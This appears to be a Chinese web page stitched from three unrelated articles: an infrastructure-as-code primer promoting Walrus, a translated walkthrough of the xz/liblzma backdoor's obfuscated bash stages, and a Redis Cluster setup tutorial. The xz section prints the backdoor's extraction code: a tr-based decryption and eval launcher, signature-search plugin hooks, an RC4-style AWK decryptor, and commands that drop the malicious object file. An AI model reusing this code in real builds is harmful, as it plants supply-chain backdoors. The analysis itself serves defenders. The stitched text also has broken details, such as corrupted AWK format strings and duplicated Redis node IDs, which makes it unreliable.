2024年4月

由于现代架构、应用程序接口和相互关联的服务之间的互联性越来越强,云基础设施的复杂性也与日俱增。随着需要管理的云资源数量不断增加,企业开始采用基础设施即代码(IaC)来解决云应用的复杂性和相互依赖性问题。

IaC 提供各种工具、流程和方法,以简化基础设施管理、降低风险并采用新技术和基于云的解决方案。并且随着云技术的采用,
全球 IaC 市场也急剧增长,预计将从 2021 年的 6.4 亿美元增长到 2030 年的 44.5 亿美元

对 IaC 服务的需求正在增加,以帮助推动 IaC 的采用和改进,从而使企业能够充分利用这种方法的优势,而无需自行实施和管理。

什么是基础设施即代码?

基础设施即代码(IaC)是一种软件工程实践,它采用编码和自动化技术来管理和配置基础设施资源。与手动配置服务器、网络、虚拟机、集群、服务和其他基础架构组件不同,IaC 允许您用代码定义基础架构的适当状态,然后使用工具自动创建和维护。

IaC 从根本上改变了计算环境中基础设施资源的调配、配置和管理方式。
它将软件开发原则引入基础架构管理,实现了一致性、自动化和可扩展性

采用 IaC,您就不用重复构建和管理基础设施的过程,而能够通过使用一套特定的指令(代码)来进行构建。这些指令就像蓝图一样,定义了排列方式。然后,当你在其他地方需要相同的结构时,只需遵循相同的蓝图,积木就会按照你想要的方式自动组装起来。

声明式和命令式 IaC 方法

在 IaC 中,有两种不同的范例用于定义和管理基础设施资源:

声明式方法

IaC 中的声明性方法侧重于描述基础设施所需的状态,而不指定实现该状态所需的确切步骤。简单来说,您定义想要的最终结果,系统决定如何实现。

  • 代码或配置文件用于定义基础架构所需的配置。
  • IaC 工具可确保多次应用相同的代码将产生相同的结果,而不会出现任何错误或不需要的更改。
  • 更改通常涉及修改代码以反映更新的配置。

命令式方法

IaC 中的命令式方法涉及指定为实现所需的基础设施状态而必须执行的确切步骤或命令。它包括编写一连串命令来操纵基础设施,以达到所需的结果。

  • 需要指定 IaC 工具为配置而应采取的特定行动或操作。
  • 命令式 IaC 脚本用于
    定义步骤和操作顺序
    ,例如可能包括手动创建资源和处理依赖关系。
  • 脚本可能非常详细,需要对基础设施的内部运作有更深入的了解。

通常情况下,
用例、基础设施复杂性和团队偏好决定了哪种方法更合适
。声明式 IaC 通常很受欢迎,因为它简单易用、可自动调配、可任意操作且易于维护。但是,当需要细粒度控制或定制,或使用遵循过程式执行的工具时,命令式 IaC 通常会很有优势。还有一些 IaC 工具使用混合方法,用户可以将声明式和命令式组件结合起来,在控制和简单性之间取得平衡。

为什么使用基础设施即代码 (IaC)?

IaC 已成为增强应用程序性能和赋能数字化转型不可或缺的工具。

按需配置

IaC 加速基础设施置备和配置流程,因此您可以快速设置和拆除环境,从而实现更快的应用程序开发、测试和部署。这种敏捷性还可以
提高您的组织响应不断变化的客户需求和市场动态的能力

标准化

IaC 使基础设施能够标准化并在代码中定义,这种一致性最大限度地降低了不同环境中配置错误、差异和安全漏洞的风险。应用程序在所有开发和生产阶段都将表现得更加可预测和可靠。

可扩展性和灵活性

IaC 使您能够根据不断变化的需求扩展或缩减基础设施资源。在处理用户流量增加或业务扩展等场景时,这种
可扩展性和多功能性是一个关键优势
,因为您的基础设施可以无缝增长,无需任何手动干预或运维中断。

成本优化

IaC 提倡经济高效的配置,因为基础设施需求是在代码中定义的,这使您能够更好地分配资源并优化成本,同时消除不必要的开支。这还允许 DevOps 团队从事关键任务活动,而不是手动任务。

降低风险

IaC 通过一致性、自动化和统一配置来降低错误配置和安全漏洞的可能性
。此外,通过将安全最佳实践嵌入到代码中,您可以确保安全措施在整个基础设施中统一应用。

版本控制和审计

IaC 代码可以存储在提供审计跟踪的版本控制系统中。您可以监控修改、回滚到以前的配置并维护基础架构更改的记录。

开发运维文化

IaC 被认为是关键的 DevOps 实践和持续交付 (DC) 元素,它允
许 DevOps 团队通过一组有凝聚力的实践和工具更好地协作,以实现应用程序交付和快速基础设施支持
。这种协同作用可以促进 DevOps 文化、加快开发周期并提高整体效率。

如何利用基础设施即代码

尽管 IaC 具有优势,但实施 IaC 的复杂性可能具有挑战性,具体取决于组织的现有基础架构、技术堆栈、团队的专业知识和特定的 IaC 工具。

  • 需要额外的工具
    ,例如自动化和编排系统以及配置管理,这可能会导致服务器上出现大量错误。需要进行广泛的预发布测试和跟踪版本控制来缓解这一潜在问题。
  • 除了编写可顺利转换到生产环境的代码所需的技能之外,还
    需要对用于实现的 IaC 语言(例如 JSON、SQL 或 Ruby)有深入的了解
  • 如果管理员在 IaC 模板之外更改服务器配置而不利用正确的变更管理工具,则可能会发生配置漂移。
  • 传统安全工具可能需要大量投资来构建额外的工具来满足 IaC 的要求。
  • IaC 和 DevOps 模型需要特定的技能组合
    ,目前需求量很大,但供应有限,并促使组织将 IaC 需求外包给专门的第三方专家。

总结

因此,基础设施即代码(IaC)为解决云应用程序的复杂性和相互依赖性问题提供了新的解决方案。尽管IaC的实施可能具有一定的挑战性,但其带来的诸多优势,如按需配置、标准化、可扩展性和成本优化等,使其成为数字化转型和提高应用程序性能的不可或缺的工具,可满足您云基础设施需求的各个方面。

可以参考Walrus,它是一款基于 IaC 的开源应用管理平台,支持Terraform 、OpenTofu 等 IaC 工具作为 deployer ,并支持直接导入Terraform 模块。通过Resource Definition 即可编排多个模块,用户仅需配置一次,即可在多环境、多基础设施上运行应用。

昨天,
Andres Freund 通过电子邮件告知 oss-security@ 社区
,他在 xz/liblzma 中发现了一个隐藏得非常巧妙的后门,这个后门甚至影响到了 OpenSSH 服务器的安全。Andres 能够发现并深入调查这个问题,实在令人敬佩。他在邮件中对整个事件进行了全面的总结,所以我就不再赘述了。

诚然,这个故事中最吸引眼球、最耐人寻味的部分,无疑是那个经过重重混淆的、藏有后门的二进制文件。然而,勾起我兴趣的,却是 bash 脚本一开始的那几段代码,以及其中运用的简单而巧妙的混淆技法。接下来,就让我们沿着黑客的足迹,一层层揭开这个谜题的面纱,领略大师级的隐藏技巧。不过请注意,我并不打算事无巨细地解释每段 bash 代码的所有功能,而是着重剖析它们是如何被层层混淆、又是如何被逐一提取出来的。这才是其中的精髓所在。

在正式开始之前,有几点不得不提:

  1. 这个后门影响了 xz/liblzma 的两个版本:
    5.6.0 和 5.6.1
    。这两个版本之间存在一些细微的差异,我会尽量在分析过程中同时覆盖到它们。
  2. bash 脚本部分可以划分为三个 (也可能是四个) 主要阶段,我将其称为 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在
    m4/build-to-host.m4
    文件中添加的启动代码。至于潜在的 “Stage 3”,虽然我怀疑它尚未完全成型,但也会略作提及。
  3. 那些经过混淆和加密的代码,以及后面的二进制后门,都藏身于两个看似无害的测试文件中:
    tests/files/bad-3-corrupt_lzma2.xz

    tests/files/good-large_compressed.lzma
    。切莫小觑了它们。

让我们先来看看 Stage 0 ——这个谜题的开端。

Stage 0

正如 Andres 所指出的,一切的起点都在
m4/build-to-host.m4
文件。让我们逐步解读其中的玄机:

...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...
gl_path_map='tr "\t \-_" " \t_\-"'
...
  1. 首先,它从
    tests/files/bad-3-corrupt_lzma2.xz
    文件中读取字节流,并将其输出,作为下一步的输入。读取完所有内容后,它还会额外添加一个换行符。这种步步相扣的方式在整个过程中随处可见。

  2. 第二步是执行 tr 命令,将某些字符 (或字节值) 映射为其他字符。来看几个例子:

    echo "BASH" | tr "ABCD" "1234"  
    21SH
    

    在这个示例中,“A” 被映射为 “1”,“B” 被映射为 “2”,依此类推。

    我们也可以指定字符范围。例如在上面的示例中,我们只需将 “ABCD” 更改为 “A-D”,并对目标字符集执行相同的操作:“1-4”:

    echo "BASH" | tr "A-D" "1-4"
    21SH
    

    类似地,我们可以指定它们的 ASCII 代码的八进制形式。所以 “A-D” 可以改成 “\101-\104”,“1-4” 可以变成 “\061-\064”。

    echo "BASH" | tr "\101-\104" "\061-\064"
    21SH
    

    回到我们的代码中,
    tr "\t \-_" " \t_\-"
    对来自
    tests/files/bad-3-corrupt_lzma2.xz
    文件的字节流做了如下替换:


    • 0x09 (\t) 被替换为 0x20

    • 0x20 (空格) 被替换为 0x09

    • 0x2d (-) 被替换为 0x5f

    • 0x5f (_) 被替换为 0x2d


    这一番调换,实际上起到了 “修复” bad-3-corrupt_lzma2.xz 文件的作用,让它重获新生,成为一个合法的 xz 数据流。

  3. 在 Stage 0 的压轴戏中,修复后的 xz 字节流被提取出来,并对过程中的错误选择性地忽略。而这个过程的成果,正是 Stage 1 的脚本,它随即自我执行起来。

接下来,让我们关注 Stage 1 ——那个充满神秘色彩的开端。

Stage 1

在 Andres 的邮件中,Stage 1 对应的是那个以 “####Hello####” 开头的 bash 文件。它虽然篇幅不长,但值得我们仔细研读,并留意 5.6.0 和 5.6.1 版本之间的差异 (
以黄色字体做标记
):

第一个区别是第二行注释中的随机字节:

  • 在 5.6.0 版本中是
    86 F9 5A F7 2E 68 6A BC
  • 在 5.6.1 版本中是
    E5 55 89 B7 24 04 D8 17

我不确定这些差异是否有任何意义,但我还是想指出来。

其中一处引人注目的差异是,5.6.1 版本新增了一段检查脚本是否运行于 Linux 的代码,并重复出现了 5 次,颇有几分忏悔和自我约束的意味。

下面我们把目光转向 Stage 2 的提取代码,就是那个长度惊人的
export i=...
语句,里面塞满了 head 命令。让我们仔细分析一下它的运作机制:

  1. 开头的
    export i=...
    其实定义了一个 “函数”,在第 3 步和 Stage 2 中被调用。

  2. 提取 Stage 2 的第一步,是使用 xz 解压
    good-large_compressed.lzma
    文件,并将解压后的数据传递给下一步。这开启了一系列环环相扣的 “接力赛”。

  3. 紧接着,i “函数” 登场 (
    eval $i
    )。这个函数由一系列 head 命令组成,要么输出接下来的 N 个字节,要么彻底忽略它们。

    最初的代码:

    (head -c +1024 >/dev/null)
    

    这里的
    -c +1024
    选项告诉 head 只读取和输出来自输入数据流的接下来的 1024 个字节 (请注意,这里的 + 将会被忽略,它不会做任何事情,这与 tail 命令不一样)。但是,由于输出在这种情况下被重定向到 /dev/null,我们实际得到的是 “
    跳过接下来的 1024 个字节
    ”。

    值得注意的是,如果我们仔细观察 good-large_compressed.lzma 解压后的前 1024 个字节,会发现它几乎全是重复了 1024 次的字符 “A” (字节 0x41)。有趣的是,在第一个 1024 个字符之后,还隐藏着一些神秘的二进制数据。

    下一个 head 调用看起来和之前几乎相同,只是长度不同:

    head -c +2048
    

    注意这里的输出不会被忽略,它将作为输入传递给下一步。

    这个模式反复出现:
    1024 个字节被跳过,然后 2048 个字节被输出,1024 个字节被跳过,2048 个输出...如此循环,直到文件的末尾,在 5.6.0 版本中只输出 724 个字节,而在 5.6.1 版本中只输出 939 个字节。

    为了直观地呈现这一点,这里展示了这组 head 调用处理的实际输入数据。字节 0 在文件的左上角;每一列表示文件的 256 个字节,以灰度表示。请注意高熵 (“嘈杂”) 区域之间的 “空灰” 区域 – 脚本的这一部分基本上是删除空白区域,将蕴藏数据的区域合二为一。

  4. 在下一步中,使用
    tail -c +31233
    命令丢弃数据的前部 (剧透一下:
    那里隐藏了一扇二进制后门,它将在下一个阶段被打开,所以现在还用不到它
    )。在 5.6.0 版本中,丢弃的是前 31264 个字节,而在 5.6.1 版本中是 31232 个字节 (一个字节的差异是因为
    tail -c +N
    的意思是 “从第 N 个字节开始输出”,而不是 “忽略前 N 个字节”)。

  5. 第 5 步重新使用了 tr 命令,在这里它被用作一个简单的替换密码,在 5.6.0 和 5.6.1 版本中有不同的密钥 (字节值映射):

    5.6.0: tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
    5.6.1: tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377"
    

    根据之前的解释,这基本上意味着 (对于 5.6.0 版本) 值为 5 的字节将被值为 0 的字节替换,值为 6 的字节将被值为 1 的字节替换,依此类推。在每种情况下,都有 6 个范围映射到整个 0 - 255 (即八进制的 377) 范围。

    整个过程反复上演着这样的 “捉迷藏” 游戏:
    跳过 1024 字节,然后输出 2048 字节,再跳过 1024 字节,再输出 2048 字节
    …… 直到抵达文件的尽头。

这部分脚本的真正任务,是剔除其中的 “废料”,将有价值的数据部分连缀成完整的数据流。

  1. 下一步中,数据流的前面一大段被果断抛弃。
  2. 往后是借助 tr 命令实施简单的替换加密,5.6.0 和 5.6.1 版本使用了不同的密钥。
  3. 最后,加密后的数据经过解压缩,呈现出 Stage 2 脚本的真容,并立即投入自我执行的怀抱。

现在,让我们进入 Stage 2,一探究竟。

Stage 2

Stage 2 就是 Andres 邮件中提到的
infected.txt
文件 (我手头只有 5.6.0 版本)。这个 bash 脚本可谓洋洋洒洒,正是在这里,编译过程遭到了不轨的修改。

以混淆的视角审视这个脚本,有三个片段值得我们特别关注,
其中两个仅在 5.6.1 版本中才显露真容

Stage 2 扩展机制

首先是 Stage 2 的 “扩展” 机制:

片段 1:

vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

片段 2:

vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi

这两个代码片段几乎完全相同,所以让我们可以同时处理这两个片段。它们的作用如下:

  1. 它在 tests/files/ 目录下搜寻 (
    grep -broaF
    ) 具有特定签名的两个文件:

    Fragment 1: "~!:_ W" and "|_!{ -"
    Fragment 3: "jV!.^%" and "%.R.1Z"
    
  2. 如果找到它们,就提取每个文件的偏移量 (
    cut -d: -f2
    ,假定
    :
    是字段分隔符,则取第 2 个字段),以第一个偏移量加 7 为 $start,以第二个文件的偏移量作为 $end。

  3. 掌握了 $start 和 $end 这两个关键信息后,脚本就能从第一个文件中提取 $start 到 $end 之间的内容。

    cat $f1 | tail -c +${start} | head -c +${end}
    
  4. 接下来,它使用和 Stage 1 如出一辙的替换解密方式 (对于 5.6.0 版本的密钥)。

    tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
    
  5. 最后,解密后的数据再次经过解压缩,然后立即执行:

    eval `... | xz -F raw --lzma2 -dc`
    

有趣的是,在我分析的两个版本中,都没有任何文件真正匹配这里的签名。因此,整个过程更像是一种 “插件/补丁” 机制,它允许我们在不修改原始 payload 的前提下,向 Stage 2 中注入新的脚本。

这是一个明智的设计,因为反复修改 “坏” 和 “好” 的测试文件是非常可疑的行为,可能会引起他人的注意。因此,他们的计划似乎是只添加新的测试文件,这些文件会被选中、解密并执行。

Stage 2 后门提取

然后是 Stage 2 中的后门提取过程。在某个关键时刻,一个
.o
文件会被悄然提取出来,并巧妙地嵌入编译和链接的流程中。以下代码就是这个环节的主谋(和之前一样,我将用黄色字体区分两个版本的差异):

两个版本之间的差异,主要体现在压缩后的 payload 大小略有不同(5.6.0 版本的 payload 大小为 88792,而 5.6.1 版本的 payload 大小为 88664),以及 AWK 脚本中的一个神秘常量有所变化。

与前面的步骤如出一辙,提取过程由一系列命令的完美配合构成。其中一些步骤与 Stage 1 遥相呼应,因为二进制的 payload 就安睡在 “good” 文件数据尚未开垦的处女地。让我们沿着脚印,一步步探寻:

  1. 第一步与 Stage 1的第二步相同,用 xz 解压
    tests/files/good-large_compressed.lzma
    文件。

  2. 第二步同样与 Stage 1 的第三步一致,调用了先前的那个 “很多 head” 的函数。

  3. 从这里开始,事情就有所不同了。首先,前一步的输出通过 sed 命令进行了修改:

    LC_ALL=C sed "s/\(.\)/\1\n/g"
    

    这个命令的作用是在每个字节后面添加一个换行符(除了换行符本身)。最终,我们得到了一个每行只有一个字节的输出(没错,这里大量混合了处理文件的"文本"和"二进制"方法)。下一步恰好需要这种格式。

  4. 下一步,一个 AWK 脚本粉墨登场,它对输入流进行类似
    RC4
    的解密工作。以下是该脚本的美化版本:

    BEGIN {  # Initialization part.
      FS = "\n";  # Some AWK settings.
      RS = "\n";
      ORS = "";
      m = 256;
      for(i=0;i<m;i++) {
        t[sprintf("x%key", i)] = i;
        key[i] = ((i * 7) + 5) % m;  # Creating the cipher key.
      }
      i=0;  # Skipping 4096 first bytes of the output PRNG stream.
      j=0;  # ↑ it's a typical RC4 thing to do.
      for(l = 0; l < 4096; l++) {  # 5.6.1 uses 8192 instead.
        i = (i + 1) % m;
        a = key[i];
        j = (j + a) % m;
        key[i] = key[j];
        key[j] = a;
      }
    }
    
    {  # Decription part.
      # Getting the next byte.
      v = t["x" (NF < 1 ? RS : $1)];
    
      # Iterating the RC4 PRNG.
      i = (i + 1) % m;
      a = key[i];
      j = (j + a) % m;
      b = key[j];
      key[i] = b;
      key[j] = a;
      k = key[(a + b) % m];
    
      # As pointed out by @nugxperience, RC4 originally XORs the encrypted byte
      # with the key, but here for some add is used instead (might be an AWK thing).
      printf "%key", (v + k) % m
    }
    
  5. 解密后的数据再次通过 xz 解压缩,重获新生。

    xz -dc --single-stream
    
  6. 最后,使用相同的常用 head 技巧提取从 N(0)到 W(约 86KB)的字节,并将其保存为
    liblzma_la-crc64-fast.o
    ——这就是最终的二进制后门文件。

    ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o
    

总结

通过以上分析,我们可以看到,有人煞费苦心地将这个后门隐藏得如此巧妙,令人叹为观止。从
将 payload 藏匿于看似无害的二进制测试文件之中,到运用文件提取、替换加密、RC4 变种等技巧,再到将整个过程拆分为多个执行阶段,并预留 “插件” 机制以备将来之需
,这一切无不凸显出幕后黑客的心思缜密和技艺精湛。

然而,这个案例也给我们敲响了警钟:
如果这样一个精心设计的后门都是要靠意外才能发现,那么,还有多少潜藏的威胁尚未浮出水面?我们又该如何及早发现并防范这些威胁?
这需要安全社区每一位成员保持警惕,用更加缜密的思维去分析每一处细节,去揭示每一个蛛丝马迹。只有如此,我们才能筑起维护网络安全的坚实防线。



原文链接

Redis 集群(Redis Cluster)是 Redis 3.0 版本推出的 Redis 集群方案,它将数据分布在不同的服务区上,以此来降低系统对单主节点的依赖,并且可以大大的提高 Redis 服务的读写性能。

Redis 将所有的数据分为 16384 个 slots(槽),每个节点负责其中的一部分槽位,当有 Redis 客户端连接集群时,会得到一份集群的槽位配置信息,这样它就可以直接把请求命令发送给对应的节点进行处理。

Redis Cluster 是无代理模式去中心化的运行模式,客户端发送的绝大数命令会直接交给相关节点执行,这样大部分情况请求命令无需转发,或仅转发一次的情况下就能完成请求与响应,所以集群单个节点的性能与单机 Redis 服务器的性能是非常接近的,因此在理论情况下,当水平扩展一倍的主节点就相当于请求处理的性能也提高了一倍,所以 Redis Cluster 的性能是非常高的。

Redis Cluster 架构图如下所示:
image.png

搭建Redis集群

Redis Cluster 的搭建方式有两种:

  1. 使用 Redis 源码中提供的 create-cluster 工具快速的搭建 Redis 集群环境。
  2. 通过配置文件的方式手动搭建 Redis 集群环境。

具体实现如下。

1.快速搭建Redis集群

create-cluster 工具在 utils/create-cluster 目录下,如下图所示:
image.png
使用命令
./create-cluster start
就可以急速创建一个 Redis 集群,执行如下:

$ ./create-cluster start # 创建集群
Starting 30001
Starting 30002
Starting 30003
Starting 30004
Starting 30005
Starting 30006

接下来我们需要把以上创建的 6 个节点通过
create
命令组成一个集群,执行如下:

[@iZ2ze0nc5n41zomzyqtksmZ:create-cluster]$ ./create-cluster create # 组建集群
>>> Performing hash slots allocation on 6 nodes...
Master[0] -> Slots 0 - 5460
Master[1] -> Slots 5461 - 10922
Master[2] -> Slots 10923 - 16383
Adding replica 127.0.0.1:30005 to 127.0.0.1:30001
Adding replica 127.0.0.1:30006 to 127.0.0.1:30002
Adding replica 127.0.0.1:30004 to 127.0.0.1:30003
>>> Trying to optimize slaves allocation for anti-affinity
[WARNING] Some slaves are in the same host as their master
M: 445f2a86fe36d397613839d8cc1ae6702c976593 127.0.0.1:30001
   slots:[0-5460] (5461 slots) master
M: 63bb14023c0bf58926738cbf857ea304bff8eb50 127.0.0.1:30002
   slots:[5461-10922] (5462 slots) master
M: 864d4dfe32e3e0b81a64cec8b393bbd26a65cbcc 127.0.0.1:30003
   slots:[10923-16383] (5461 slots) master
S: 64828ab44566fc5ad656e831fd33de87be1387a0 127.0.0.1:30004
   replicates 445f2a86fe36d397613839d8cc1ae6702c976593
S: 0b17b00542706343583aa73149ec5ff63419f140 127.0.0.1:30005
   replicates 63bb14023c0bf58926738cbf857ea304bff8eb50
S: e35f06ca9b700073472d72001a39ea4dfcb541cd 127.0.0.1:30006
   replicates 864d4dfe32e3e0b81a64cec8b393bbd26a65cbcc
Can I set the above configuration? (type 'yes' to accept): yes
>>> Nodes configuration updated
>>> Assign a different config epoch to each node
>>> Sending CLUSTER MEET messages to join the cluster
Waiting for the cluster to join
.
>>> Performing Cluster Check (using node 127.0.0.1:30001)
M: 445f2a86fe36d397613839d8cc1ae6702c976593 127.0.0.1:30001
   slots:[0-5460] (5461 slots) master
   1 additional replica(s)
M: 864d4dfe32e3e0b81a64cec8b393bbd26a65cbcc 127.0.0.1:30003
   slots:[10923-16383] (5461 slots) master
   1 additional replica(s)
S: e35f06ca9b700073472d72001a39ea4dfcb541cd 127.0.0.1:30006
   slots: (0 slots) slave
   replicates 864d4dfe32e3e0b81a64cec8b393bbd26a65cbcc
S: 0b17b00542706343583aa73149ec5ff63419f140 127.0.0.1:30005
   slots: (0 slots) slave
   replicates 63bb14023c0bf58926738cbf857ea304bff8eb50
M: 63bb14023c0bf58926738cbf857ea304bff8eb50 127.0.0.1:30002
   slots:[5461-10922] (5462 slots) master
   1 additional replica(s)
S: 64828ab44566fc5ad656e831fd33de87be1387a0 127.0.0.1:30004
   slots: (0 slots) slave
   replicates 445f2a86fe36d397613839d8cc1ae6702c976593
[OK] All nodes agree about slots configuration.
>>> Check for open slots...
>>> Check slots coverage...
[OK] All 16384 slots covered.

在执行的过程中会询问你是否通过把 30001、30002、30003 作为主节点,把 30004、30005、30006 作为它们的从节点,输入
yes
后会执行完成。
我们可以先使用 redis-cli 连接到集群,命令如下:

$ redis-cli -c -p 30001

在使用 nodes 命令来查看集群的节点信息,命令如下:

127.0.0.1:30001> cluster nodes
864d4dfe32e3e0b81a64cec8b393bbd26a65cbcc 127.0.0.1:30003@40003 master - 0 1585125835078 3 connected 10923-16383
e35f06ca9b700073472d72001a39ea4dfcb541cd 127.0.0.1:30006@40006 slave 864d4dfe32e3e0b81a64cec8b393bbd26a65cbcc 0 1585125835078 6 connected
0b17b00542706343583aa73149ec5ff63419f140 127.0.0.1:30005@40005 slave 63bb14023c0bf58926738cbf857ea304bff8eb50 0 1585125835078 5 connected
63bb14023c0bf58926738cbf857ea304bff8eb50 127.0.0.1:30002@40002 master - 0 1585125834175 2 connected 5461-10922
445f2a86fe36d397613839d8cc1ae6702c976593 127.0.0.1:30001@40001 myself,master - 0 1585125835000 1 connected 0-5460
64828ab44566fc5ad656e831fd33de87be1387a0 127.0.0.1:30004@40004 slave 445f2a86fe36d397613839d8cc1ae6702c976593 0 1585125835000 4 connected

可以看出 30001、30002、30003 都为主节点,30001 对应的槽位是 0-5460,30002 对应的槽位是 5461-10922,30003 对应的槽位是 10923-16383,总共有槽位 16384 个 (0 ~ 16383)。

create-cluster 搭建的方式虽然速度很快,但是该方式搭建的集群主从节点数量固定以及槽位分配模式固定,并且安装在同一台服务器上,所以只能用于测试环境。

我们测试完成之后,可以
使用以下命令,关闭并清理集群

$ ./create-cluster stop # 关闭集群
Stopping 30001
Stopping 30002
Stopping 30003
Stopping 30004
Stopping 30005
Stopping 30006
$ ./create-cluster clean # 清理集群

2.手动搭建Redis集群

由于 create-cluster 本身的限制,在实际生产环境中我们需要使用手动添加配置的方式搭建 Redis 集群,为此我们先要把 Redis 安装包复制到 node1 到 node6 文件中,因为我们要安装 6 个节点,3 主 3 从,如下图所示:
image.png
image.png
接下来我们进行配置并启动 Redis 集群。

2.1 设置配置文件

我们需要修改每个节点内的 redis.conf 文件,设置
cluster-enabled yes
表示开启集群模式,并且修改各自的端口,我们继续使用 30001 到 30006,通过
port 3000X
设置。

2.2 启动各个节点

redis.conf 配置好之后,我们就可以启动所有的节点了,命令如下:

cd /usr/local/soft/mycluster/node1 
./src/redis-server redis.conf

2.3 创建集群并分配槽位

之前我们已经启动了 6 个节点,但这些节点都在各自的集群之内并未互联互通,因此接下来我们需要把这些节点串连成一个集群,并为它们指定对应的槽位,执行命令如下:

redis-cli --cluster create 127.0.0.1:30001 127.0.0.1:30002 127.0.0.1:30003 127.0.0.1:30004 127.0.0.1:30005 127.0.0.1:30006 --cluster-replicas 1

其中 create 后面跟多个节点,表示把这些节点作为整个集群的节点,而 cluster-replicas 表示给集群中的主节点指定从节点的数量,1 表示为每个主节点设置一个从节点。

在执行了 create 命令之后,系统会为我们指定节点的角色和槽位分配计划,如下所示:

>>> Performing hash slots allocation on 6 nodes...
Master[0] -> Slots 0 - 5460
Master[1] -> Slots 5461 - 10922
Master[2] -> Slots 10923 - 16383
Adding replica 127.0.0.1:30005 to 127.0.0.1:30001
Adding replica 127.0.0.1:30006 to 127.0.0.1:30002
Adding replica 127.0.0.1:30004 to 127.0.0.1:30003
>>> Trying to optimize slaves allocation for anti-affinity
[WARNING] Some slaves are in the same host as their master
M: bdd1c913f87eacbdfeabc71befd0d06c913c891c 127.0.0.1:30001
   slots:[0-5460] (5461 slots) master
M: bdd1c913f87eacbdfeabc71befd0d06c913c891c 127.0.0.1:30002
   slots:[5461-10922] (5462 slots) master
M: bdd1c913f87eacbdfeabc71befd0d06c913c891c 127.0.0.1:30003
   slots:[10923-16383] (5461 slots) master
S: bdd1c913f87eacbdfeabc71befd0d06c913c891c 127.0.0.1:30004
   replicates bdd1c913f87eacbdfeabc71befd0d06c913c891c
S: bdd1c913f87eacbdfeabc71befd0d06c913c891c 127.0.0.1:30005
   replicates bdd1c913f87eacbdfeabc71befd0d06c913c891c
S: bdd1c913f87eacbdfeabc71befd0d06c913c891c 127.0.0.1:30006
   replicates bdd1c913f87eacbdfeabc71befd0d06c913c891c
Can I set the above configuration? (type 'yes' to accept): 

从以上信息可以看出,Redis 打算把 30001、30002、30003 设置为主节点,并为他们分配的槽位,30001 对应的槽位是 0-5460,30002 对应的槽位是 5461-10922,30003 对应的槽位是 10923-16383,并且把 30005 设置为 30001 的从节点、30006 设置为 30002 的从节点、30004 设置为 30003 的从节点,我们只需要输入
yes
即可确认并执行分配,如下所示:

Can I set the above configuration? (type 'yes' to accept): yes
>>> Nodes configuration updated
>>> Assign a different config epoch to each node
>>> Sending CLUSTER MEET messages to join the cluster
Waiting for the cluster to join
....
>>> Performing Cluster Check (using node 127.0.0.1:30001)
M: 887397e6fefe8ad19ea7569e99f5eb8a803e3785 127.0.0.1:30001
   slots:[0-5460] (5461 slots) master
   1 additional replica(s)
S: abec9f98f9c01208ba77346959bc35e8e274b6a3 127.0.0.1:30005
   slots: (0 slots) slave
   replicates 887397e6fefe8ad19ea7569e99f5eb8a803e3785
S: 1a324d828430f61be6eaca7eb2a90728dd5049de 127.0.0.1:30004
   slots: (0 slots) slave
   replicates f5958382af41d4e1f5b0217c1413fe19f390b55f
S: dc0702625743c48c75ea935c87813c4060547cef 127.0.0.1:30006
   slots: (0 slots) slave
   replicates 3da35c40c43b457a113b539259f17e7ed616d13d
M: 3da35c40c43b457a113b539259f17e7ed616d13d 127.0.0.1:30002
   slots:[5461-10922] (5462 slots) master
   1 additional replica(s)
M: f5958382af41d4e1f5b0217c1413fe19f390b55f 127.0.0.1:30003
   slots:[10923-16383] (5461 slots) master
   1 additional replica(s)
[OK] All nodes agree about slots configuration.
>>> Check for open slots...
>>> Check slots coverage...
[OK] All 16384 slots covered.

显示 OK 表示整个集群就已经成功启动了。

接下来,我们使用 redis-cli 连接并测试一下集群的运行状态,代码如下:

$ redis-cli -c -p 30001 # 连接到集群
127.0.0.1:30001> cluster info # 查看集群信息
cluster_state:ok # 状态正常
cluster_slots_assigned:16384 # 槽位数
cluster_slots_ok:16384 # 正常的槽位数
cluster_slots_pfail:0 
cluster_slots_fail:0
cluster_known_nodes:6 # 集群的节点数
cluster_size:3 # 集群主节点数
cluster_current_epoch:6
cluster_my_epoch:1
cluster_stats_messages_ping_sent:130
cluster_stats_messages_pong_sent:127
cluster_stats_messages_sent:257
cluster_stats_messages_ping_received:122
cluster_stats_messages_pong_received:130
cluster_stats_messages_meet_received:5
cluster_stats_messages_received:257

相关字段的说明已经标识在上述的代码中了,这里就不再赘述。

课后思考

